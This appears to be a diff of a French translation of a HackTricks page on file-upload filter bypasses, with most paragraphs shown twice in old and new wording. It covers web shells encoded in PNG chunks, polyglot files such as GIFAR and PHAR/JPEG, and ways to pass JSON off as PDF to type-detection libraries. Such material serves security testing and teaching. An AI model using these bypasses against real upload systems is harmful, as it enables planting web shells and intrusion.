Un examen détaillé de cette technique, incluant sa méthodologie et ses applications potentielles, est présenté dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du procédé et de ses implications.
Plus d'informations sur : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Fichiers Polyglottes
## Fichiers polyglottes
Les fichiers polyglottes servent d'outil unique en cybersécurité, agissant comme des caméléons qui peuvent exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et une archive RAR. De tels fichiers ne se limitent pas à cette association ; des combinaisons comme GIF et JS ou PPT et JS sont également réalisables.
Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant valablement exister dans plusieurs formats de fichier simultanément. Un exemple intéressant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à ce couplage ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles.
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mesures de sécurité qui filtrent les fichiers en fonction de leur type. La pratique courante dans diverses applications consiste à autoriser uniquement certains types de fichiers pour le téléchargement—comme JPEG, GIF ou DOC—pour atténuer le risque posé par des formats potentiellement nuisibles (par exemple, JS, PHP ou fichiers Phar). Cependant, un polyglotte, en se conformant aux critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mécanismes de sécurité qui filtrent les fichiers en fonction de leur type. Il est courant dans de nombreuses applications d'autoriser uniquement certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (p. ex. JS, PHP ou Phar). Toutefois, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.
Malgré leur adaptabilité, les polyglottes rencontrent des limitations. Par exemple, bien qu'un polyglotte puisse simultanément incarner un fichier PHAR (PHp ARchive) et un JPEG, le succès de son téléchargement peut dépendre des politiques d'extension de fichier de la plateforme. Si le système est strict concernant les extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son téléchargement.
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse représenter simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre de la politique d'extensions de la plateforme. Si le système est strict quant aux extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
Plus d'informations sur : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Télécharger des JSON valides comme s'il s'agissait de PDF
### Uploader des JSON valides comme si c'était un PDF
Comment éviter les détections de type de fichier en téléchargeant un fichier JSON valide même s'il n'est pas autorisé en faisant passer un fichier PDF (techniques de **[cet article de blog](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un fichier PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
- **Bibliothèque `mmmagic`** : Tant que les octets magiques `%PDF` sont dans les 1024 premiers octets, c'est valide (obtenir un exemple de l'article)
- **Bibliothèque `pdflib`** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON afin que la bibliothèque pense que c'est un pdf (obtenir un exemple de l'article)
- **Binaire `file`** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas analyser le contenu comme un json et ensuite, à l'intérieur du JSON, mettre la partie initiale d'un vrai PDF et il pensera que c'est un PDF
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la bibliothèque considère que c'est un pdf (voir exemple dans l'article)
- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu comme du JSON, puis placer à l'intérieur du JSON la première partie d'un vrai PDF et il pensera que c'est un PDF
## Références
@ -322,5 +328,6 @@ Comment éviter les détections de type de fichier en téléchargeant un fichier
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}